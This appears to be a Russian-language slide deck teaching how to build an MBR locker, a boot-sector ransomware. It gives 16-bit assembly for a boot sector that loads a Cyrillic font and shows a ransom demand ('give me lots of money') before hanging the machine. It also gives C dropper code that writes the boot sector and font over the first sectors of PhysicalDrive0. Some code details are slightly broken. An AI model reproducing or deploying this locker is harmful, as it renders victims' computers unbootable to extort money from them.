4. Этапы загрузки
Локер Windows
1. post
2. bios
3. 1st boot sector
4. os kernel
5. gui shell-some
6. locker exe file
MBR Локер
1. post
2. bios
3. 1st boot sector
5. Почему ассемблер?
● Первый загрузочный сектор всего 512 байт
● Низший уровень
● Самый маленький размер кода
6. Из чего состоит mbrlocker
1. Дроппер (dropper)
2. Загрузочный сектор
Дропер устанавливает загрузочные сектор
7. Пишем загрузочный сектор
Процесору работает в реальном режиме (16 битный код)
[BITS 16]
[ORG 0x7C00]
Необходимо настроить все сегменты, потому что мы не знаем содержания
регистров:
mov ax, cs
cli
mov ss, ax
mov es, ax
mov ds, ax
mov sp, entry
sti
Запрещаем прерывания командой cli что бы ничего не мешало
8. Модель памяти TINY
Для работы с экраном используются только
прерывания BIOS
mov ax,03
int 0x10
0x10 прерывание биос
3 ф-я очистить дисплэй
9. Делаем свой кирилический шрифт для знакогенератора.
Для матрицы 8х16 буква "Я" такая:
Вымогаем деньги на русском
Каждый ряд переводим из двоичной системы в шестнадцатеричную
00, 00, 7E, C6, C6, C6,C6, 7E, 36, 66, C6, C6, 00, 00, 00, 00
10.
11. Стоит уже подумать о высоком уровне!
Файл шрифта 1024 байта не влезает в загорузочный сектор 512 байт.
Дропером запишем его в другие секторы 2 и 3.
Из загрузичка читаем файл из 2 и 3 сектора:
mov ah,0x02
mov al,0x02
mov bx,0x1000
mov cx,0x0002
int 0x13
ф-я 2 прерывание 13 читать секторы
число секторов = 2 (2 и 3)
12. Подменяем английский шрифт на свой
в bx адрес таблицы
в cx с какого сектора начинаем читать.
mov ah,0x11 ; ф-я 11 - загрузка пользовательского
шрифта
xor al,al ; под ф-я 0
mov bp,bx ; в bp адрес таблицы
mov cx,64 ; в cx кол-во символов
mov dx,192 ; в dx код начала символов
int 0x10 ; прерывание
13. Работаем с экраном
; Пишем текст зелёным цветом
mov ah,0x13
xor al,al
mov bx,00001010b
xor dx,dx
mov cx,msgend-msg
call msgend
msg db 'Дайте мне очень много денег'
msgend:
pop bp
int 0x10
; Зависаем в цикле
jmp $
TIMES 510-($-$$) db 0
dw 0xAA55
14. Dropper
Копируем HEX код:
1. Сектор MBR в массив mbr[512]
2. Два сектора шрифта в массивы font1[512] и font2[512]
Записываем их в первые три сектора
HANDLE hout; // Хендл файла на три сектора
hout = CreateFile(TEXT(".PhysicalDrive0"),
GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, NULL, NULL);
WriteFile(hout, mbr, sizeof(mbr), nw, NULL);
SetFilePointer(hout, 1 * 512, nil, FILE_BEGIN);
WriteFile(hout, font1, sizeof(font1), nw, NULL);
SetFilePointer(hout, 2 * 512, nil, FILE_BEGIN);
WriteFile(hout, font2, sizeof(font2), nw, NULL);
CloseHandle(hout); // Не забываем чистить за собой